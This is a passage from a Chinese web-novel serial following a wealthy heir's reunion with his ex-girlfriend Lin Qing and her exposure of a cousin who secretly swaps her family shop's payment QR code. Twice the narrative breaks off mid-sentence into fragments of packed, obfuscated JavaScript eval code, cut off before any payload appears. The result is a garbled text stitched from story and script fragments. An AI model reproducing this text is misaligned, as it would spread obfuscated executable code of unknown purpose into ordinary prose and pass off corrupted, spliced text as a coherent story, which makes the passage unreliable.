林清非但没睡,还放下手机坐直身子:“大晚上开高速,我睡了你一个人开车多危险。” “我还是和你说说话,让你精神些。” 沈明舟眉梢染上笑意,他看着前方,“嗯。” 林清真就和沈明舟说了一路的话,她性子外向开朗,为人健谈,说起这一次去T省的事,就能说一路。 她在T省的时候,阮莹莹又开了一家蛋糕店,都开到了商场里,租金的贵得离谱,人员配备也贵。 但人口基数在那里,每天的营业额巨高。 林清说阮莹莹算是找到了她自己擅长的领域,对方还立志要把蛋糕店开满全国,最好能开到国外去,干到上市。 她还说她这几个月跟着阮莹莹的姑姑,学了很多糕点,每天都泡在糕点房,对方居然夸她有学糕点的天赋。 “难道遗传了你爸爸?”沈明舟说。 林清看向他,平静道:“我爸爸并没有天赋,不然怎么会几十年来都把糕点做得那么难吃?他唯一的拿手招牌,就是做肉包子。” 沈明舟轻轻笑了:“那你怎么有的天赋?” “你忘了吗?我又不是第一次被夸在一件事上有天赋。”林清话语很自信提醒他。 “没有,”沈明舟摇头,出言道,“你做事总是带着一股较真的劲儿,悟性强,我认为这也是一种天赋。” “哦~~~”林清没再纠结,反而笑道,“改天请你吃吃我做的新品。” “好。” ...... 一路上,大多时候都是林清在闲聊,沈明舟借着开车,并未主动挑起多少话题。 尤其是对分开的这段日子,以及之前在一起的事情,沈明舟闭口不谈。 就好像真的是一对好朋友普通的一次重逢见面。 这么久没见,虽然是和平分手,但因为太爱,算不上体面,但他们之间好像已经“不计前嫌”。能够如此自然熟悉地聊天,已经是沈明舟想象中最好的结果。 好似那些拉扯崩溃的事情都没存在过,难熬的日子也过去了,回想起来,只留下对方的那些好。 林清还是那么落落大方,娇俏又坦率。 他暗暗观察她,得出她过得还算不错,并没有遭受巨大打击缓不过来的状态,他放心了。 沈明舟感觉才过了一会,导航就提示要开始下高速。 下高速没多远,就要到林家。 沈明舟再放慢速度,也终要和她分开。 黑色的轿车慢慢停在林家茶馆门前,沈明舟下车,从后备箱拿下行李。 “麻烦啦。”林清笑着伸手去接。 “和我这么客气做什么?”沈明舟把包递给她。 “总要客套一下,毕竟大老远接我回来。”林清笑着伸手接过包,她的手与他的手指短暂相碰了一下。 沈明舟顿时感觉相触的肌肤发烫,心像是被一根无形的线缠着,扯了扯,酥酥麻麻,不受控制加速跳动。 他垂眸,无奈失笑。 或许有所谓的命中注定,当那个人出现过,两人就彻底产生了羁绊。 无论过去多久,哪怕从来不见面,感情浓度也只增不减。 “很晚了,快回去休息吧。”林清说。 沈明舟没不打算赖着她:“嗯,你也早点休息。” “我当然要早点休息,我很困了。”林清说着,连连打哈欠,“我刚回来,要缓两天,欠你的饭,过几天还。” 闻言,沈明舟笑意加深:“好。” 他上车后,林清没马上转身离开,她站在原地看着他的车,见他打下车窗望过来,她抬起手摆了摆:“拜拜~~~” “拜拜。” 沈明舟刚驱车离开,林家饭馆的门就打开了。 林父和林母走出来。 沈明舟透过后视镜,看到两人围着林清,林父推行李,林母拿过林清身上的包,低头和她说话,面色关心慈爱。 林清还把头靠在林母身上,姿态撒娇,还歪着头冲着林父笑嘻嘻说话。 沈明舟一直都知道,她的父母很爱她,比他爱她还多。 所以哪怕离开他,她依旧能拥有很多爱。 沈明舟回到了县中心,这是沈家的一处小别墅。 电动大门打开,他把车往里开。 这栋别墅如今只是他一个人住,这是他刚回来那一年修建的,地皮面积是一千平,别墅只建了两百三十平,一共三层。 其余的地方全空出来,修建了一个中式小庭院和长廊,有小花园还有一处假山和小溪,在县区算是闹中取静,往前一百米就是大马路,四周繁华。 算是非常不错的位置。 沈家原本是要修建一栋楼,拿当自家的招待场所,因为林清觉得这个位置不错,沈明舟是按照两人婚房的想法装修的。 沈老爷子和沈老太太回乡下养老,沈父沈母也不住这边,他们住原本的房子,这里一直都只有沈明舟居住。 沈明舟停下车,第一时间把手机拿过来。 点开后,他就看到了林清发来的消息。 林清:【你到家了吗?】 她配上一个熊猫眼的猫咪表情,眯着眼有些东倒西歪。 看得出来好困好困了,还在等他报平安。 沈明舟下车,打开别墅大门,面不改色胡说八道:【还没,去公司拿点资料,马上回去了。】 林清:【还没到呢?我真的困了,路上开车慢点。】 沈明舟:【嗯,快休息吧。】 林清发来一个小猫咪点头,下一秒就地闭眼熟睡的表情包。 沈明舟看着表情包,都能想到她丢掉手机,在床上秒睡的场景。 她是个睡眠极好的人,说了睡觉,就会入眠。 两人去旅游的时候,都是开同一间房,林清说了要睡觉,就是要睡了。 她 通常会丢掉手机,往他怀里钻,伸手抱着他,迷迷糊糊说话。 沈明舟的手覆在她后背,还没拍两下,再想和她说句话,她就已经睡着了。 睡着的林清是不能惹的,天大地大没有睡觉大,不然她会炸毛,有得缠着他闹。 沈明舟洗澡出来,慢悠悠吹干头发,上床还特意等了会儿,才拿出手机,给林清发了消息:【我到家了。】 林清当然不会回。 沈明舟满意了,盖上被子,闭眼睡觉并很快入眠。 这几天他都没睡好,心一直悬着,算是完成了一件很重要的事情。 次日。 苏航来接沈明舟的时候,发现他的老板从上车就一直看手机,眉头蹙着。 苏航和沈明舟汇报今天的行程,沈明舟有一搭没一搭接话,好似有心事。 “舟哥,昨天的事处理完了吗?”苏航回来后,一直挂心,又见沈明舟一副心事重重的样子,忍不住问。 他的话音未落,沈明舟接到了林清的消息。 林清:【昨晚睡着啦,刚醒。】 沈明舟眉头舒展,快速回消息:【吃早餐了吗?】 他当然知道她睡着了,这段时间他就是这样绞尽脑汁,和她建立联系的。 就是要让她晚上回不了消息,第二天回的话,两人又可以聊天了! 林清:【还没呢,你呢?】 沈明舟见苏航频频看他,换了个姿势和林清打字聊天,顺带笑道:“处理完了,没什么问题。” “那就好。”苏航松了一口气。 “好好开车。” 苏航咧嘴笑:“得嘞,舟哥。” * 沈明舟并不担心林清会遗忘他。 她这人说了什么,就会努力做到。 他只需要想好两人要去吃饭的地方,等待她通知。 沈明舟是真的在思考,那两天,他花费在这上面的时间,比工作还多。 他排除了一切两人曾去过的地方,比起故地重游,他更想两人“重新开始”。 沈明舟不知道这段联系会持续到什么时候,但他格外珍惜。 两天后的下午,林清给沈明舟发了消息。 【今天晚上吃饭怎么样?你有空吗?】她问。 沈明舟:【可以。】 林清:【吃什么?有没有推荐呀?我刚回来不太了解诶。】 她配上一只小猫咪有些尴尬的萌萌表情包。 沈明舟猜到了她的所有举动,将自己思考过的答案发出去:【吃湘菜吧?新开了一家不错的湘菜馆。】 林清发了小猫咪乖巧点头的表情包:【定位发我。】 沈明舟:【不用,我去接你。】 林清没回了。 沈明舟盯着手机,不断看着两人的聊天记录,甚至连一个标点符号都在分析。 他说错什么了? 沈明舟把手机放在一边,手肘抵着桌面,忍不住揉了揉发胀的额头,深深呼气。 时隔这么久,“老毛病”又来了。 这都一大把年纪了,还像个愣头青一样,把心挂在一个人身上,滋味不好受。 他也不想这样,跟有病似的。 “嗡——” 手机振动的第一时间,沈明舟拿起手机,林清发来的是一段语音。 他犹豫了一下,也仅仅是0.1秒,就迫不及待点开。 那一头有些嘈杂,林清气息有些不稳,应该是在店里帮忙,她娇嗔含笑的声音传出来:“你的服务很到位啊,那就晚上八点不见不散啦~~~” 沈明舟眼底瞬间溢满愉悦之色。 10.县城首富恋爱脑学长的白月光(10) 晚上七点。 沈明舟的车稳稳停在林家茶馆的路边。 茶馆已经收摊了,关了前门,林清从后门走出来。 她穿了一件清爽的牛油果绿无袖长裙,搭配了刺绣镂空马甲,轻盈又舒适。 脚下还搭配了同色系的单鞋,休闲利落。 沈明舟看到她的身影,推门下车。 “久等啦,”林清露出笑容冲他道,“稍稍磨蹭了一会儿。” “没事,我刚到。”沈明舟给她开车门。 闻言,林清脚步挑起柳眉看向他:“真的?” “今天是真的。”沈明舟唇角扬起笑意,认真点着头。 他的确才到。 就是准备的时间有点长,收到林清消息的时候,就让苏航把车拿去大清洗了。 去接她的前一天,车也是洗过的。 苏航虽不理解,但听话照做。 两人来到了一家湘菜馆。 沈明舟提前订了小包间。 点菜的时候,沈明舟把菜单给林清。 “你点吧,我都行。”林清捧着茶小口喝着说。 沈明舟翻着菜单出言道:“手抓扇子骨、私房豆腐、双口酸菜鱼、小炒黄牛肉.....”他又点了几道招牌,抬眸问林清,“来一份石橄榄鸡汤?清甜解腻。” “嗯。”林清点头,随后道,“好啦,够了。” “就这些吧。” “好的,稍等。” 服务员退出去,轻轻把门关上。 包厢里只剩两人,湘菜馆很热闹,外面的谈话声隐约有些传进来。 林清低头看手机,礼貌道:“我先回个消息。” “嗯。”沈明舟放在桌下的手,微微有些收拢,手心溢出一层薄汗,余光悄悄看向林清。 他有些紧张。 这种紧张,不亚于多年前第一次请林清吃饭。 他幻想过无数次,两人再逢的场景,哪怕他也演练过无数次,面对她依旧不能做到心平气和。 沈明舟静静没说话,默默抬起面前的茶,小抿了一口。 “那天忘记问了,你最近怎么样?”林清突然抬头,问了一句。 话落,她把手机放在一边,黑白分明的美眸看向他,笑着补充道,“事业忙吗?那么大的产业呢,不过这么久了,已经适应了吧?” 她的语气很温柔,是真正的关心。 “挺好的,逐渐在接手了。”沈明舟扯了扯唇角,对于这个话题并不想多说,站起身来给她倒茶。 当初他回来,就是接手沈家的产业,为此两人逐渐走向分开。 他有什么理由不好好干呢? 两个人都各有坚持,做过事情,说后悔没有用。 沈明舟不想反问她在首都怎么样,为什么会突然去了T城。 他好不容易见到她,只想好好吃顿饭。 “那就好啊。”林清绽开笑颜,随后话锋一转,主动道,“我把首都的工作辞了。” 沈明舟眼底微闪,下意识第一时间看向她,极力克制眼底的关心。 他不想知道她在首都可能经历的“恋情”,发生的种种事情,可能经历的创伤...... 两人的回忆很美好,于他来说,这辈子有过这样一段爱情,就没有遗憾了。 林清如果开始了新的恋情,一想到她的爱情经历里多了和别人的体验,沈明舟的心里就像压了一块巨石,如同被人强行灌了一大瓶醋。 最终,对她的关心,还是战胜了这些,沈明舟开口问她:“为什么辞了?工作太辛苦了?” 房门被轻轻敲了敲,服务员端着菜走进来,两人的谈话被打断。 沈明舟懊悔自己的冲动,他来之前就和自己说过,绝不对她的过往好奇,也绝不聊曾经。 对他们来说,都不是好事,只会让这顿饭吃得不那么愉快。 比起沈明舟有的万千思绪,林清倒是很平静,她开口对服务员道:“麻烦打两碗米饭。” “好的。” 包间门再一次被关上,林清夹了一块牛肉放在口中品尝,就在沈明舟庆幸话题被掀过,她笑着看向他:“你觉得我是会因为工作辛苦而辞职的人吗?再辛苦,也不可能比刚毕业的时候辛苦呀,再说了,我们公司都要上市了,多年的奋斗,不就是等这一刻吗?” “倒也是。”沈明舟笑,却没继续追问。 看来发生了对她打击很大的事情,不然她怎么明知道公司要上市了,还毅然辞了职。 这个决定需要勇气,也可能是无可奈何。 沈明舟还是不想知道太多,对他来说,可能也难以接受。 服务员把两碗米饭端上来,林清没开动,先是问沈明舟:“给你一半?” 她吃不完整碗饭,每次只吃半碗,而这么小的碗,对于沈明舟来说,一碗是不够的。 沈明舟脱口而出:“你先吃吧,剩了再说。” 话音未落,包间里的气氛陡然变了变,沈明舟的心都忍不住提起来。 他在说些什么?! 林清率先打破僵局,她摇着头:“不行,吃着吃着就吃多了,我不能吃那么多米饭,最近已经被迫吃了很多糕点,减肥很痛苦的。” 沈明舟把碗伸过去,碗里又多了不少米饭。 林清评价这家米饭不错。 沈明舟赞同,他也觉得格外好吃,不由放慢动作。 饭菜一道道被端上来,沈明舟让服务员把林清喜欢吃的饭菜调整到她面前。 “这家店味道的确很不错,”林清眉梢弯弯,夹了一块扇子骨,对沈明舟道,“就是包间有点闷,我看大厅也挺好的,装修风格不错。” 沈明舟:“我怕有点吵。” 他们两个人都没什么讲究,只是现在有点特殊,他想和她好好吃顿饭,不想被打扰。 如果是恋爱那会儿,就坐大厅了。 “热闹啊,吃饭不就是热热闹闹的吗?说不定味道还能好点。”林清说。 “下次带你坐大厅。”沈明舟快速接话,为了掩盖自己的紧张,拿了旁边的碗,起身给她盛汤。 他意识到了自己的贪心。 来之前想着好好和她吃顿饭,现在要预约下一顿了。 林清每次回来待的时间都不长。 总是来去匆忙,有时候仅仅待了一天,就要离开。 沈明舟把汤放在林清面前,她笑着说,“谢谢,那就下次再约,就坐窗前,还能看夜景。” “嗯嗯。”沈明舟嘴角止不住上扬,追问道,“你什么时候有空?明天还是后天?” “得缓缓吧?接连着两天,依照我的性子,这家店要被我拉黑了,”林清喝了口汤,“我这一次待得会比较久,可能过年才会去T省,到时候就是两边跑。” 沈明舟刚刚升起的欢喜,一点点沉下去。 现在是十一月初,距离过年还有两个多月,她不是一直待本地,年后还要再去T省,彻底放弃回首都。 为什么? 沈明舟压抑着自己不能挑起这种话题,最后还是忍不住问:“为什么两边跑?” 绕开首都,她是往T省跑。 不留在本地了吗? 林清放下筷子,看向沈明舟:“这件事情,我只告诉你,你可别传出去。” 沈明舟给自己夹了块牛肉,轻声提醒道:“既然是秘密,我觉得我不知道为好。” “又没关系,你不会说的。”林清话语笃定信任。 沈明舟也放下筷子,话语里带上一丝恳求道:“你别告诉我任何不利于我们之前感情的事情,我不想听到你和任何 异性的情况,也不会帮你做任何分析!” 她或许已经放下,但他没有。 “什么呀?”林清拧眉,皱了脸。 她这个表情一出来,沈明舟心情顿时由阴转晴,嘴边露出一抹笑意问:“你为什么两地跑?这一次不是在T省待几个月了吗?怎么还要回去?” “之前是学习糕点,我还得回来教我爸,顺带改良茶馆。最近生意好后,各种问题接踵而至,我要去系统学习茶楼的经营和管理,”说起这个,林清道,“我明年打算开一家本地最大的茶楼,已经在筹备了,总面积1500平,建筑面积1000平,500百平的室外。” “省城的茶楼我也了解过,可能是租金和人员成本太高,幸存下来的不多,和T省的大茶楼还是很有区别,我想去好好学习经验。” 沈明舟的心情只能用欣喜若狂形容,他翘起的嘴角根本压不住。 这么大面积的茶楼,不是林父一个人就能管理的。 既然林清放了那么多心思学习,就说明她要回来了,首都的工作也辞了,她就不会走了。 “你打算什么时候开业?”沈明舟笑着看向她问,语气都忍不住温柔。 “明年国庆,目前二层建筑已经封顶,”林清说着自己的打算,“年后两地跑,装修估计费点时间,但是国庆必须开业。” 沈明舟点头:“类似于T省的大茶楼?你要下的功夫可不少。” 这么大面积的餐饮,到时候的人员配备都得大几十个,光运营起来,就是一笔大数目。 何况还是在小地方。 “对啊,我没有做过生意的经验,说不定到时候还要时不时请教沈总,”林清态度谦卑,同时还道,“我投入很大的,时间精力金钱,输不起啊。” 沈明舟被她这一声沈总叫得无所适从,他一脸无奈给她夹菜:“虽然我没考察过这个市场,不知道体量,目前的传统餐饮也不好做,但茶楼茶馆不同,经营好的茶楼茶馆一如既往火爆。” “你这段时间不是实验过了吗?你们家的茶馆天天爆满,再说了,你要做的事情,会做成的。” 他也希望她能成。 “借你吉言。”林清笑意盈盈喝着他盛的汤,“这个汤好喝。” “再给你盛一碗。”沈明舟起身,伸手接过她的碗,上下看了她一眼,“你还是要多吃点,有点瘦了。” “这段时间学糕点太辛苦了,”林清说,“瘦了三四斤。” 沈明舟觉得不是在首都瘦下来的就行。 她回来待两个多月呢,他好好养。 这顿饭吃得无比愉快。 沈明舟满脸的笑意就没消过。 两人走出包间。 林清要去趟洗手间。 “把包给我。”沈明舟自然朝她伸手。 林清没犹豫,将自己手上的包递过去。 沈明舟站在外面等她,唇角还在上挑,拿着手机低头在搜索附近的餐饮店。 下一次,请她吃什么好呢?要找她喜欢吃的。 饭桌是最好交流的场所了。 没一会儿,林清走出来,她对沈明舟道:“你下次别偷偷结账,请你吃饭的钱我还是有的。我离开公司的时候,公司回购我手里的期权,还给了一笔不小的赔偿。” “嗯。”沈明舟越发高兴。她这是彻底不会回首都了。 回来的原因也不重要,重点是她回来了,回到他身边。 林清还想说什么,突然听到不远处传来一道熟悉的声音,她离开的脚步猛地顿住,还一把抓住走在前面的沈明舟的手。 手背上突然传来温热细腻的触感,沈明舟身子一下僵住,浑身细胞都开始活跃兴奋,一股电流从手背往头顶窜。 林清手上稍微用力,把他往回牵,压低声音:“等等。” 11.县城首富恋爱脑学长的白月光(11) 不远处。 林强正和一个女孩吃饭,他的口气很阔绰:“这点小钱,别放心上,想吃什么随便加,吃不完就吃不完,能花几个钱?” 说完,他生怕旁人听不到似的,扬声炫耀:“我家的茶楼收款码都是我的,天天进账好几千上万。” 听言,林清拉着沈明舟的手再一次收紧,美眸微微一眯,极其轻微嗤笑了声。 沈明舟对林家的人员,稍微了解些。 这个林强,他略有耳闻,听说还打过林清,他一下就记住这号人物了,还稍稍调查过。 林大伯一家全是无业游民,饥一顿饱一顿,哪来的茶楼?而且说话非常可疑。 就在沈明舟要细听时,林清拉着他的手,转身绕过那一桌往楼梯走。 沈明舟就这么被轻轻牵着,林清没用一点力道,他的脚步不自觉跟着她走了。 其间,他回头看了看林强,脚步没停。 下楼梯时,林清松了手,沈明舟有点小小失落,他想了想开口问:“这人还是要注意,我记得你们家店里的收款码没有声音播报,很容易被替换。” “那个啊,”林清正好走到一楼,她回头,冲他微微勾唇,眼底带了一丝狡黠,“我故意的呢。” 收款码的小播音是买收款码的时候送的,前段时间坏了,林父懒得再搞。 他和林母都是实诚的人,觉得就那么几块钱十几块钱,不会有人故意不付。 林清没说什么,想借此等着林强入坑。 林强之前唆使林老太太拿着收款码来店里公然收钱,导致店里生意下降,这笔账,她都记着。 如果林强就此安稳了,林大伯一家彻彻底底学乖,不让林老太太不再生事,她就放过他们。 只当买清净。 但林强习惯靠偷奸耍滑躺着就能收钱,怎么会收敛呢? 林清的笑容略带了点张扬,在沈明舟看来撩人得紧,就像一根小羽毛,在他心口来来回回滑动,掀起一阵阵涟漪,又酥又痒。 “故意的?”沈明舟缓慢重复了她的话,尾音还微扬了扬。 林清点头,哼了一声,“看我怎么收拾他!” “那我很好奇了,”沈明舟忍不住笑出声,她那么聪明,又怎么会让自己吃亏呢? 林清没接话,脸上带着一种胜券在握的自信。 沈明舟是越看越喜欢,笑容满面,快步绕过她走到车边,给她开车门:“上车吧,我们找个地方喝茶。” 他还舍不得送她回去。 “嗯。” 林清没拒绝,沈明舟笑容加深,小跑又到另一边,打开车门上车。 * 林清回家不到一个星期,茶馆已经大换貌。 首先是人员,老一辈总想着能省则省,茶馆一火爆,服务员就跟不上,林父已经请了三个,看起来还是有些忙不过来。 林清大手一挥,又请了三个,外加一个洗碗阿姨。 除了炸串、糖水,还有糕点柜和蒸笼,新增了凉菜区。 林清还规定全员佩戴透明口罩。 以往都是老年人喝茶聊天,主打随意,现在年轻人和小孩子不少,卫生这一块必须到位,不然让人感觉埋汰和不卫生。 店面出的新品要做成醒目的海报,贴在墙上宣传,不然顾客怎么看得到? 海报是在网上请人做的,快递一到,林清就去取了回来。 此时正是中午一点半,是吃饭和午休的时间点,茶馆没人,店里的服务员也都不在,一会两点才上班。 员工都是从附近招的,下班就回家午休。 林父从蛋糕房出来,看到林清正拿着海报站在椅子上比画,他走过去道:“你下来,爸来贴。” 林清走下来,林父还未站上去,何光骏就过来了,他伸手接过林清手上的海报,咧嘴笑道:“我来!” 何光骏从小就不是块读书的料,为了减轻章凤的压力,他连中专都没读完,内敛的性子有自卑的成分。 林清劝说他去了T省学茶楼小吃,见过大城市,又学了点本事,回来就做了春卷和炸牛奶两款,卖得很不错。 何光骏和章凤两母子,每个月能从店里拿不少于一万五的分红,在这个小地方,那可是一笔大收入。 以前他们拼死拼活,两个人加起来一个月都赚不到六千块。 兜里有钱了,生活压力变小,人自然就松弛了。 两母子每天在店里忙前忙后,眼底有活,对生活充满了希望。 他们努力攒一攒,一年就可以首付在县城买房,这可是以前不敢想的。 而且,这才几个月,还是初始阶段,林清说以后还要开更大的店,那不得赚更多啊? 林清在底下指挥,何光骏对着墙贴。 林父看着一旁还有快递,笑问:“还买了些啥?” “收款提示音响啊,店里那个不是坏了吗?”林清说。 林父:“换成你的二维码没?” 以前他们夫妻俩会把钱存起来,攒到一定数额就转给林清,让她拿去做理财,之后在首都买房。 林清现在回来了,店里还有新楼房那边都是她在当主心骨,林父林母迫不及待要把经济大权交出来。 主要店里的发展现在不是他们能指引的,越做越大,越来越复杂,他们没林清那么有头脑,还不如全权给她接管,她也能放手大干。 “还没,”林清说完回头道,“我要申请一个新号,这样才能区分开好管理,先用着吧,过段时间再换,不着急。” “行!”林父拆着快递,把小播音拿出来。 店里的二维码遍布好几个地方,柜台前有,店里的墙上有,店外的墙上也有。 林父拿着小播音,走到柜台又对林清道:“清清啊,爸忘记怎么设置了。” “我一会设置,你放柜台上。”林清回。 林父放在柜台上,他刚准备走回去,就看到一辆黑色的轿车停在路边。 车窗打开,传来林大伯中气十足的声音:“老二!” 闻言,林清和何光骏也停下动作,纷纷望过去。 车的四个窗全打开了,林大伯一家就坐在里面,开车的是林强,他戴着墨镜,放在方向盘的手上戴着手表,姿势模样很傲慢。 正在洗水果的章凤看到这一幕,连忙问林母:“他们家怎么开上轿车了?上次不是还说那辆破摩托车被强行报废,连辆车都买不起吗?” 林母:“说是娘家拆迁,给了不少钱。” 章凤不解:“你们家那两间瓦房都要塌了吧?有了钱,不应该先盖房吗?买什么车啊?儿子不结婚啦?” 林母头都没抬:“谁知道怎么想的。不止买车,还买了大金镯子。” 章凤再一次望过去,就看到推门下车的林大伯母手上果真有个金镯子。 现在的金价可不低,多少得两三万。 可真能造。 林父往路边走,另一边的车门被打开,林老太太从车上下来,她的头上还贴着一块纱布。 “医生怎么说?”林父问林大伯。 前段时间,林老太太头顶长了个包,看到林父就嗷嗷哭,说是疼得想死,不想活了。 林父当下就把人带去医院,医生说切掉就好了,打了麻药,做了个小手术,总共花了八九百块。 林父也没让林大伯分担,只让对方记得过几天带林老太太去换药,他没时间。 今天是换药的日子,林强开车接林老太太去医院,林父觉得算是有心了。 “还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 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“这种车不得十多万啊?”新来的服务员并不知道林家人之间的恩怨。 闻言,林大伯母放下筷子,大声纠正道:“十多万哪够啊,二十六万!进口的!” 几名服务员一听,倒吸一口气:“这么贵呢?!” 县城的房子才多少钱一套,二十多万的车是大部分家庭买不起的。 看着她们露出的震惊羡慕,林大伯一家的胃口都好了,林大伯大口大口吃着饭,笑容都要咧到耳后。 林强勾着唇,挑挑拣拣吃着饭菜,有些嫌弃。 林父听到这辆车要二十六万,也是大吃一惊,忍不住道:“怎么买这么贵的车?全款还是贷款啊?” 二十多万都能在村里盖一栋房子了,他们每个人出一半,在村里也有个住处。 林强都没结婚,连个窝都没有,就买了这个贵的车,林父觉得他们疯了。 “全款!”林大伯母提高声线强调,生怕被看不起似的,“谁贷款买车啊?” “有这个钱,你不在村里盖房,或者在县城给林强买套房,他怎么结婚?”林父说。 林大伯母还没接话,林强“啪”一下就放下筷子,满脸不屑道:“我就不能又买车又买房吗?” 看不起谁? 林父还没有反应,林强那股嚣张的气势,顿时有些僵住。 不远处,林清站在柜台边,手里拿着一个收款播音器,正在低头摆弄。 林强眼底有些慌乱,一直盯着林清,只见她抬眸,往他那边看一眼,冷漠平静,隐隐又感觉带上审视。 刹那间,林强就感觉被尖锐的针轻轻那么一戳,“砰”一声,像瞬间泄气爆炸的球。 12.县城首富恋爱脑学长的白月光(12) 林母听到林强语气不善,把林父喊过去帮忙干活,压根不想搭理这家人。 这么多年了,林大伯家一件实事都没办成,好不容易“出息”一回,嘚瑟得很。 饭桌上,林强早就无心吃饭,林大伯一家全然没发觉,沉浸在巨大的优越感中。 林大伯母不断和几个服务员炫耀着他们家新买的车,什么交税就两三万,保险好几千,一大堆费用,贵得很。 说话时,她还不断摸着自己手上的大金镯子,不动声色说手沉,镯子六七十克,买太大了。 林大伯母说着还看向两手空空的林母,朝店里扬声提醒林父,“老二,你也给弟妹买个金镯子,也就两三万块钱。到了这个年纪,手上总要有一两件首饰。” 两三万,是一个打工人一年的工资。 此时已经是下午两点,茶馆陆陆续续来了人,听到林大伯母说话,看向她,瞧见手上的金镯子要两三万,不少人投来羡慕的目光。 林大伯母都有些飘了,她何时被这样的目光关注过,余光瞥到一旁正在塞得满嘴米粒的林大伯身上,眼底闪过鄙夷,都觉得他有些配不上自己。 “现在金价在涨,买了不划算.....” “哎呀——” 林父摇头,话说到一半就被林大伯母打断了,她站起身来,半开玩笑道:“销售都说了,金价以后会越来越贵,现在不买,以后更不可能买。我说你赚这么多钱,连两三万都不舍得给老婆花,哪怕买个十几克的手镯也好啊,轻是轻了点,比没有好,才几千块。” 她看着忙前忙后的林母,眼底还露出可怜同情的神色。 林母依旧面无表情,好似没听到。 林大伯母又道:“我原先也是不想买的,觉得贵,阿强和你大哥硬拉着我去买,买了之后觉得还是带点金首饰好。” 林父搬着椅子出来,随口接林大伯母的话:“对,我们也是这么说,太贵了——” 林大伯母还没接着说话,林父就道,“我们家清清都没带我们去,直接给我们两个人都买了,给我买了一个金吊牌,还有一个大金戒指和沉甸甸的金表,给她妈买了金镯子金手链金耳环金戒指,整整一套。” “真是贵得很,她还买了五六百克,浪费钱啊。我们一点都不想买,孩子买了有什么办法呢?一天天都在干活,也舍不得戴。” 林父话语很心疼,但说话时,嘴角都要咧到耳后了,语气里带着自己都察觉不到的自豪骄傲。 林大伯母没再接话,憋红了脸。 章凤连忙转身偷笑,对林母道:“你看她,脸可真精彩,跟猴子屁股似的。” 她说完,还不过瘾,走出去故意对林父语气羡慕道:“清清怎么给你们买了那么多金子啊?真孝顺啊。” “她说便宜,不算贵,这孩子真是——”林父摇头,对于林清孝顺这事,他万般默认。 他女儿可不是懂事吗? 辞掉首都的工作,都回来陪他们了。 四百几一克的金子,一买就是几百克,太懂事孝顺了,他们心疼得紧。 林大伯一家的面色更难看了,林大伯母黑沉着脸,林老太太端着饭,缩着脖子,有些战战兢兢。 “支某宝到账4元。” 柜台传来的播音声将几人目光吸引了过去。 一个顾客买了个肉包子,刚结了账。 “清清,这声音怎么那么大呢?”林父转身走过去。 林清:“店里忙的时候那么吵,声音不大听不到呀。” 林强蹭一下站起身,对林清略带着急道:“怎么可能听不到?这声音刺耳得很,去店里最讨厌听到这种声音了。这年头,谁会逃单啊?!” “整得跟谁活不起似的!” “就是。”林大伯母看向林强,眼珠子转了转,连声附和,“又不是耳聋了,需要那么大声,吵死了。” 林父还在犹豫是不是太吵,林清就对林强几人冷声道:“你们可以选择离开,没人让你听。” “你们以为我们想来啊?我们走!”林强快速往车边走,步伐凌乱有些像落荒而逃。 林大伯母不服气,还在喋喋不休对林父道:“说话真是太过分了,要不是你没空带老太太去医院,我们会折腾一个早上吗?” “不就是吃顿饭吗?真没见过这种人,女孩子家家讲话也那么难听,以后谁要啊?” 林父一听她这么说林清,当下就不愿了,厉声道:“说什么呢?你再说一遍!” “走不走啊?!”林强坐在车里,用力按了几下喇叭。 周围的顾客看着这一家人,被刺耳的喇叭声扰耳,神色有些不悦。 林大伯母和林大伯快步往车边走,林老太太跟在后面,模样很着急,就是走不快,生怕被丢下。 林清在下一个顾客结账时,笑着道,“您扫墙上的二维码也行。” “好的。”顾客举起手机,就近扫了墙上的二维码。 播音器没响。 “咦——”林清发出疑惑。 “没扫上去吗?”顾客也停了下来,将付款码页面递给林清看,“我付过去了。” 林父还想追到车边理论几句,居然敢说他女儿。 身后的林清大声道:“爸,扫这个二维码怎么没声啊。” 林父回头顺口接:“又坏了?” “不是,”林清否认,扬声催促道,“人家付钱了,我们这边没收到钱啊,你快来看看怎么回事!” “没收到钱?”林父止住脚步,转身往回走,“怎么会没收到钱呢?!” 林父疑惑拧着眉,没收到钱可是大事,他刚走到店门前,身后传来沉闷而巨大的一声撞击。 “砰——” “啊——” 林父被吓一大跳,猛地回头,看到林强倒车拐弯的时候,直接撞到了一棵树上。 树叶子都被撞得落了满车。 林母都赶紧跑出来了,着急地问:“怎么了?怎么了?!” 她看到林强的车被撞得车头都扁了,倒吸一口凉气,有些怔住:“天啊——这——” 林父回神,立马拔腿往车边跑,本来正在看热闹的顾客也纷纷起身,往车边去。 就连路过的客人,都停下车,去看究竟。 林清面无表情,没受一点影响,她用自己的手机,扫了墙上的二维码。 二维码的头像和店里用的是一样的,等到扫了付款才发现,显示的不是林父的名字,而是*强。 说林强贪念小吧,他换了最靠近柜台的墙上二维码,说他贪念大吧,他就换了这一个。 估计再等等,主意就打得更大了。 车子撞得挺重,前面的安全气囊都撞出来了,坐在驾驶座上的林强直接被撞蒙了,腿脚发软,被林父拖下来的。 林大伯一家其余几人,也被吓得不轻,没被救下车的时候,在车上嗷嗷叫,生怕车子爆炸,一命呜呼。 下来后,他们看着被撞扁的车头,又看到围着他们的人一群群人呢,就差没鬼哭狼嚎了:“这是刚提的车啊,这一撞,几十万没了,几十万啊!” “都什么时候了?还车车车,车比人命重要吗?人没事就好了!”林父正在打救护车,打完救护车还要打给交警。 “车怎么不重要?我们家刚买的新车,还没上牌!还没上牌!”林大伯母大吼大叫,冲着林老太太指桑骂槐,“要不是陪这个老不死的去医院,怎么会撞车?真是倒了血霉!我们家倒了血霉!” 林老太太看着撞坏的车,知道自己要被牵扯,要是林父不拿出点钱,林大伯一家都得剥她一层皮。 她瑟瑟发抖,拉着林父就老泪纵横:“这车怎么撞成这个样子了?要死了,要命了,我活着做什么?一大把年纪,陪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new 